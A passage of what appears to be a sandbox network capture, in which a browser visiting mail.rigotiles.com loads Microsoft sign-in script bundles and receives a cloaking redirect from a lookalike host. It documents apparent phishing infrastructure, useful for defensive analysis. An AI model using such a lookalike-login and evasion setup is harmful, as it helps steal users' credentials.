2024-10-31 20:55:13 UTC	16383	IN	Data Raw: 67 2e 63 6c 6f 6e 65 28 67 65 29 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 69 26 26 28 69 2e 75 6e 73 61 66 65 5f 75 73 65 72 6e 61 6d 65 3d 6e 29 2c 6c 6e 28 65 2c 69 2c 21 30 2c 6c 2e 45 76 65 6e 74 49 64 73 2e 52 65 64 69 72 65 63 74 5f 4f 74 68 65 72 49 64 70 52 65 64 69 72 65 63 74 69 6f 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 74 6e 28 65 2c 6e 2c 74 29 7b 74 3d 74 7c 7c 6c 65 2c 74 3d 70 2e 72 65 6d 6f 76 65 28 74 2c 22 75 73 65 72 6e 61 6d 65 22 29 2c 74 3d 70 2e 72 65 6d 6f 76 65 28 74 2c 22 6c 6f 67 69 6e 5f 68 69 6e 74 22 29 3b 76 61 72 20 69 3d 70 65 3f 67 2e 63 6c 6f 6e 65 28 70 65 29 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 6e 26 26 28 6e 2e 49 66 45 78 69 73 74 73 52 65 73 75 6c 74 3d 3d 3d 53 2e 4e 6f 74 45 78 69 73 74 7c 7c 6e 2e 49 73 55 6e 6d 61 Data Ascii: g.clone(ge):null;return i&&(i.unsafe_username=n),ln(e,i,!0,l.EventIds.Redirect_OtherIdpRedirection)}function tn(e,n,t){t=t\|\|le,t=p.remove(t,"username"),t=p.remove(t,"login_hint");var i=pe?g.clone(pe):null;return n&&(n.IfExistsResult===S.NotExist\|\|n.IsUnma
2024-10-31 20:55:14 UTC	16383	IN	Data Raw: 2e 73 68 6f 77 46 6f 72 67 6f 74 55 73 65 72 6e 61 6d 65 2c 68 3d 65 2e 68 69 64 65 43 72 65 64 53 77 69 74 63 68 4c 69 6e 6b 2c 5f 3d 65 2e 61 72 69 61 44 65 73 63 72 69 62 65 64 42 79 2c 43 3d 65 2e 73 65 74 46 6f 63 75 73 2c 53 3d 74 2e 73 74 72 2c 78 3d 74 2e 75 72 6c 46 6f 72 67 6f 74 55 73 65 72 6e 61 6d 65 2c 77 3d 74 2e 73 53 69 74 65 49 64 2c 79 3d 74 2e 73 43 6c 69 65 6e 74 49 64 2c 6b 3d 74 2e 73 46 6f 72 77 61 72 64 65 64 43 6c 69 65 6e 74 49 64 2c 50 3d 74 2e 73 4e 6f 50 61 42 75 62 62 6c 65 56 65 72 73 69 6f 6e 2c 54 3d 74 2e 66 53 68 6f 77 53 69 67 6e 49 6e 4f 70 74 69 6f 6e 73 41 73 42 75 74 74 6f 6e 2c 44 3d 74 2e 66 4f 66 66 6c 69 6e 65 41 63 63 6f 75 6e 74 56 69 73 69 62 6c 65 2c 45 3d 74 2e 66 55 73 65 43 65 72 74 69 66 69 63 61 74 65 Data Ascii: .showForgotUsername,h=e.hideCredSwitchLink,_=e.ariaDescribedBy,C=e.setFocus,S=t.str,x=t.urlForgotUsername,w=t.sSiteId,y=t.sClientId,k=t.sForwardedClientId,P=t.sNoPaBubbleVersion,T=t.fShowSignInOptionsAsButton,D=t.fOfflineAccountVisible,E=t.fUseCertificate
2024-10-31 20:55:14 UTC	16383	IN	Data Raw: 64 61 74 69 6f 6e 20 66 61 69 6c 65 64 2c 20 75 73 65 72 20 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 20 72 65 71 75 69 72 65 64 2e 22 2c 74 68 69 73 2e 73 74 61 63 6b 3d 28 6e 65 77 20 45 72 72 6f 72 29 2e 73 74 61 63 6b 2c 74 68 69 73 2e 69 6e 6e 65 72 45 72 72 6f 72 3d 65 2c 74 68 69 73 2e 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 56 69 65 77 49 64 3d 6e 2c 74 68 69 73 2e 70 6f 73 74 43 6f 6e 66 69 72 6d 61 74 69 6f 6e 41 63 74 69 6f 6e 3d 74 7d 2c 65 2e 65 78 70 6f 72 74 73 3d 6c 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 69 3d 74 28 33 29 2c 61 3d 74 28 37 29 2c 6f 3d 69 2e 41 72 72 61 79 2c 72 3d 7b 6d 65 72 67 65 53 65 73 73 69 6f 6e 73 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 69 3d 5b 5d 3b 72 65 74 75 72 6e 20 6f Data Ascii: dation failed, user confirmation required.",this.stack=(new Error).stack,this.innerError=e,this.confirmationViewId=n,this.postConfirmationAction=t},e.exports=l},function(e,n,t){var i=t(3),a=t(7),o=i.Array,r={mergeSessions:function(e,n,t){var i=[];return o
2024-10-31 20:55:14 UTC	16383	IN	Data Raw: 6c 43 64 6e 2c 69 2e 53 65 72 76 65 72 44 61 74 61 2e 75 72 6c 49 6d 61 67 65 50 61 74 68 3d 69 2e 53 65 72 76 65 72 44 61 74 61 2e 75 72 6c 43 64 6e 2b 22 69 6d 61 67 65 73 2f 22 3b 76 61 72 20 61 3d 74 28 32 29 2c 6f 3d 74 28 37 30 29 2c 72 3d 74 28 30 29 2c 73 3d 74 28 31 29 2c 63 3d 74 28 37 33 29 2c 64 3d 74 28 37 29 2c 6c 3d 74 28 37 34 29 3b 74 28 31 38 29 2e 67 65 74 49 6e 73 74 61 6e 63 65 28 77 69 6e 64 6f 77 2e 53 65 72 76 65 72 44 61 74 61 29 3b 76 61 72 20 75 3d 72 2e 4c 6f 67 69 6e 4d 6f 64 65 2c 70 3d 73 2e 48 65 6c 70 65 72 2c 66 3d 73 2e 51 75 65 72 79 53 74 72 69 6e 67 2c 67 3d 73 2e 43 6f 6f 6b 69 65 73 2c 6d 3d 64 2e 4c 6f 67 69 6e 4f 70 74 69 6f 6e 2c 62 3d 21 31 3b 66 75 6e 63 74 69 6f 6e 20 76 28 65 29 7b 21 66 75 6e 63 74 69 6f 6e Data Ascii: lCdn,i.ServerData.urlImagePath=i.ServerData.urlCdn+"images/";var a=t(2),o=t(70),r=t(0),s=t(1),c=t(73),d=t(7),l=t(74);t(18).getInstance(window.ServerData);var u=r.LoginMode,p=s.Helper,f=s.QueryString,g=s.Cookies,m=d.LoginOption,b=!1;function v(e){!function

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.16	53738	188.114.96.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:13 UTC	639	OUT	GET /ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1 Host: vn3hg.rigotiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://mail.rigotiles.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:55:13 UTC	837	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7audCoXfgk%2FWFWXUVGUdHryI9WR%2F4qC9XagssKSB%2FqwQ%2F1ExDLLO5%2FRbexHDzJPUbeHONYs%2FNeWfHI3%2FifDU8x%2FosJ%2BbBmlMCbibDtAaol6y4VVsauG0DzLppnsNPsM4RCXq9RNc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68b733d462cce-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1613&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1217&delivery_rate=1861182&cwnd=251&unsent_bytes=0&cid=3cc0d1febdfda7e8&ts=1140&x=0"
2024-10-31 20:55:13 UTC	170	IN	Data Raw: 61 34 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 65 66 65 72 72 65 72 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 2d 72 65 66 65 72 72 65 72 27 3e 3c 73 63 72 69 70 74 3e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 2f 77 61 74 63 68 3f 76 3d 64 51 77 34 77 39 57 67 58 63 51 27 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: a4<html><head><meta name='referrer' content='no-referrer'><script>top.location.href='https://www.youtube.com/watch?v=dQw4w9WgXcQ';</script></head><body></body></html>
2024-10-31 20:55:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.16	53737	152.199.21.175	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:13 UTC	642	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_1yb3e7oii5t28dgo4xrtow2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://mail.rigotiles.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:55:13 UTC	749	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 5570587 Cache-Control: public, max-age=31536000 Content-MD5: wheuNbhZLcnx5oBIfa0JTw== Content-Type: application/x-javascript Date: Thu, 31 Oct 2024 20:55:13 GMT Etag: 0x8DCC6D4DD76DEA7 Last-Modified: Tue, 27 Aug 2024 20:14:33 GMT Server: ECAcc (lhc/794B) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 5fcf6533-b01e-000b-222d-f97a0c000000 x-ms-version: 2009-09-19 Content-Length: 57443 Connection: close
2024-10-31 20:55:13 UTC	16383	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 69 5b 6e 5d 29 72 65 74 75 72 6e 20 69 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 74 3d 69 5b 6e 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 2c 69 64 3a 6e 2c 6c 6f 61 64 65 64 3a 21 31 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 74 2e 65 78 70 6f 72 74 73 2c 74 2c 74 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 74 2e 6c 6f 61 64 65 64 3d 21 30 2c 74 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 69 3d 7b 7d 3b 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 69 2c 6f 2e 70 3d 22 22 2c 6f 28 30 29 7d 28 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 6f 2c 69 29 7b 69 28 32 29 3b 76 61 72 20 6e 3d 69 28 31 29 2c 74 3d 69 28 35 29 2c 72 3d 69 28 36 29 2c 61 3d 72 2e 53 74 72 69 6e Data Ascii: !function(e){function o(n){if(i[n])return i[n].exports;var t=i[n]={exports:{},id:n,loaded:!1};return e[n].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var i={};return o.m=e,o.c=i,o.p="",o(0)}([function(e,o,i){i(2);var n=i(1),t=i(5),r=i(6),a=r.Strin
2024-10-31 20:55:13 UTC	16383	IN	Data Raw: 44 65 73 63 72 69 70 74 69 6f 6e 5f 55 6e 66 61 6d 69 6c 69 61 72 44 65 76 69 63 65 3d 22 54 6f 20 73 69 67 6e 20 69 6e 20 77 69 74 68 20 7b 30 7d 2c 20 70 6c 65 61 73 65 20 66 6f 6c 6c 6f 77 20 74 68 65 20 69 6e 73 74 72 75 63 74 69 6f 6e 73 20 6f 6e 20 79 6f 75 72 20 70 68 6f 6e 65 20 61 6e 64 20 65 6e 74 65 72 20 74 68 65 20 6e 75 6d 62 65 72 20 79 6f 75 20 73 65 65 20 62 65 6c 6f 77 2e 22 2c 65 2e 43 54 5f 52 4e 47 43 5f 53 54 52 5f 4c 53 5f 54 69 6d 65 6f 75 74 5f 54 69 74 6c 65 3d 22 52 65 71 75 65 73 74 20 74 69 6d 65 6f 75 74 22 2c 65 2e 43 54 5f 52 4e 47 43 5f 53 54 52 5f 4c 53 5f 54 69 6d 65 6f 75 74 5f 50 61 67 65 44 65 73 63 72 69 70 74 69 6f 6e 3d 22 57 65 20 64 69 64 6e 27 74 20 68 65 61 72 20 66 72 6f 6d 20 79 6f 75 20 69 6e 20 74 69 6d 65 Data Ascii: Description_UnfamiliarDevice="To sign in with {0}, please follow the instructions on your phone and enter the number you see below.",e.CT_RNGC_STR_LS_Timeout_Title="Request timeout",e.CT_RNGC_STR_LS_Timeout_PageDescription="We didn't hear from you in time
2024-10-31 20:55:13 UTC	16383	IN	Data Raw: 22 2c 65 2e 53 54 52 5f 4e 61 74 69 76 65 5f 53 53 50 52 5f 45 6e 74 65 72 43 6f 64 65 5f 44 65 73 63 3d 22 45 6e 74 65 72 20 74 68 65 20 63 6f 64 65 20 77 65 20 6a 75 73 74 20 73 65 6e 74 20 74 6f 20 7b 30 7d 20 74 6f 20 72 65 73 65 74 20 79 6f 75 72 20 70 61 73 73 77 6f 72 64 2e 22 2c 65 2e 53 54 52 5f 43 65 72 74 42 61 73 65 41 75 74 68 50 6f 6c 69 63 79 5f 42 6c 6f 63 6b 3d 22 59 6f 75 20 63 61 6e 27 74 20 73 69 67 6e 20 69 6e 20 77 69 74 68 20 61 20 63 65 72 74 69 66 69 63 61 74 65 2e 20 54 72 79 20 73 69 67 6e 69 6e 67 20 69 6e 20 77 69 74 68 20 61 6e 6f 74 68 65 72 20 6d 65 74 68 6f 64 2e 22 2c 65 2e 53 54 52 5f 49 6e 76 61 6c 69 64 43 72 65 64 65 6e 74 69 61 6c 44 75 65 54 6f 4d 66 61 43 6c 61 73 73 69 66 69 63 61 74 69 6f 6e 3d 22 4d 75 6c 74 69 Data Ascii: ",e.STR_Native_SSPR_EnterCode_Desc="Enter the code we just sent to {0} to reset your password.",e.STR_CertBaseAuthPolicy_Block="You can't sign in with a certificate. Try signing in with another method.",e.STR_InvalidCredentialDueToMfaClassification="Multi
2024-10-31 20:55:13 UTC	3	IN	Data Raw: 22 2c 55 Data Ascii: ",U
2024-10-31 20:55:13 UTC	8291	IN	Data Raw: 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 43 61 6c 6c 57 65 6e 74 54 6f 56 6f 69 63 65 6d 61 69 6c 3a 22 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 43 61 6c 6c 57 65 6e 74 54 6f 56 6f 69 63 65 6d 61 69 6c 22 2c 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 49 6e 76 61 6c 69 64 50 68 6f 6e 65 49 6e 70 75 74 3a 22 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 49 6e 76 61 6c 69 64 50 68 6f 6e 65 49 6e 70 75 74 22 2c 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 50 68 6f 6e 65 48 75 6e 67 55 70 3a 22 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 50 68 6f 6e 65 48 75 6e 67 55 70 22 2c 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 49 6e 76 61 6c 69 64 50 68 6f 6e 65 4e 75 6d 62 65 Data Ascii: serVoiceAuthFailedCallWentToVoicemail:"UserVoiceAuthFailedCallWentToVoicemail",UserVoiceAuthFailedInvalidPhoneInput:"UserVoiceAuthFailedInvalidPhoneInput",UserVoiceAuthFailedPhoneHungUp:"UserVoiceAuthFailedPhoneHungUp",UserVoiceAuthFailedInvalidPhoneNumbe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.16	53740	152.199.21.175	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:15 UTC	640	OUT	GET /ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://mail.rigotiles.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:55:15 UTC	751	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 19149232 Cache-Control: public, max-age=31536000 Content-MD5: HWW92uTq7vx3y5z+zFZbXQ== Content-Type: application/x-javascript Date: Thu, 31 Oct 2024 20:55:15 GMT Etag: 0x8D8DA1E5A71125A Last-Modified: Fri, 26 Feb 2021 06:18:37 GMT Server: ECAcc (lhc/789B) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 206d711a-c01e-002f-46ad-7d420a000000 x-ms-version: 2009-09-19 Content-Length: 119648 Connection: close
2024-10-31 20:55:15 UTC	16383	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 35 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 Data Ascii: /! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery
2024-10-31 20:55:15 UTC	16383	IN	Data Raw: 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 3d 5b 6b 2c 64 5d 29 2c 61 3d 3d 3d Data Ascii: =(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]=[k,d]),a===
2024-10-31 20:55:15 UTC	2	IN	Data Raw: 28 65 Data Ascii: (e
2024-10-31 20:55:15 UTC	16383	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 68 69 73 2e 65 78 70 61 6e 64 6f 2c 7b 76 61 6c 75 65 Data Ascii: ){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value
2024-10-31 20:55:15 UTC	16383	IN	Data Raw: 73 74 28 73 2e 74 79 70 65 29 3f 75 2e 63 68 65 63 6b 65 64 3d 73 2e 63 68 65 63 6b 65 64 3a 22 69 6e 70 75 74 22 21 3d 3d 6c 26 26 22 74 65 78 74 61 72 65 61 22 21 3d 3d 6c 7c 7c 28 75 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 3d 73 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 29 3b 69 66 28 74 29 69 66 28 6e 29 66 6f 72 28 6f 3d 6f 7c 7c 76 65 28 65 29 2c 61 3d 61 7c 7c 76 65 28 63 29 2c 72 3d 30 2c 69 3d 6f 2e 6c 65 6e 67 74 68 3b 72 3c 69 3b 72 2b 2b 29 4f 65 28 6f 5b 72 5d 2c 61 5b 72 5d 29 3b 65 6c 73 65 20 4f 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e Data Ascii: st(s.type)?u.checked=s.checked:"input"!==l&&"textarea"!==l\|\|(u.defaultValue=s.defaultValue);if(t)if(n)for(o=o\|\|ve(e),a=a\|\|ve(c),r=0,i=o.length;r<i;r++)Oe(o[r],a[r]);else Oe(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:fun
2024-10-31 20:55:15 UTC	16383	IN	Data Raw: 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 70 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d 6f 76 65 Data Ascii: xtend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?pt:void 0)),void 0!==n?null===n?void S.remove
2024-10-31 20:55:15 UTC	16383	IN	Data Raw: 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 3d 22 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 22 29 2c 65 29 72 2e 73 65 74 52 65 71 75 65 73 74 48 65 61 64 65 72 28 6e 2c 65 5b 6e 5d 29 3b 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 26 26 28 6f 3d Data Ascii: n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-Requested-With"]="XMLHttpRequest"),e)r.setRequestHeader(n,e[n]);o=function(e){return function(){o&&(o=
2024-10-31 20:55:15 UTC	16383	IN	Data Raw: 78 74 65 6e 64 28 7b 62 69 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 72 65 74 75 72 6e 20 75 28 22 6a 51 75 65 72 79 2e 66 6e 2e 62 69 6e 64 28 29 20 69 73 20 64 65 70 72 65 63 61 74 65 64 22 29 2c 74 68 69 73 2e 6f 6e 28 65 2c 6e 75 6c 6c 2c 74 2c 72 29 7d 2c 75 6e 62 69 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 75 28 22 6a 51 75 65 72 79 2e 66 6e 2e 75 6e 62 69 6e 64 28 29 20 69 73 20 64 65 70 72 65 63 61 74 65 64 22 29 2c 74 68 69 73 2e 6f 66 66 28 65 2c 6e 75 6c 6c 2c 74 29 7d 2c 64 65 6c 65 67 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 75 28 22 6a 51 75 65 72 79 2e 66 6e 2e 64 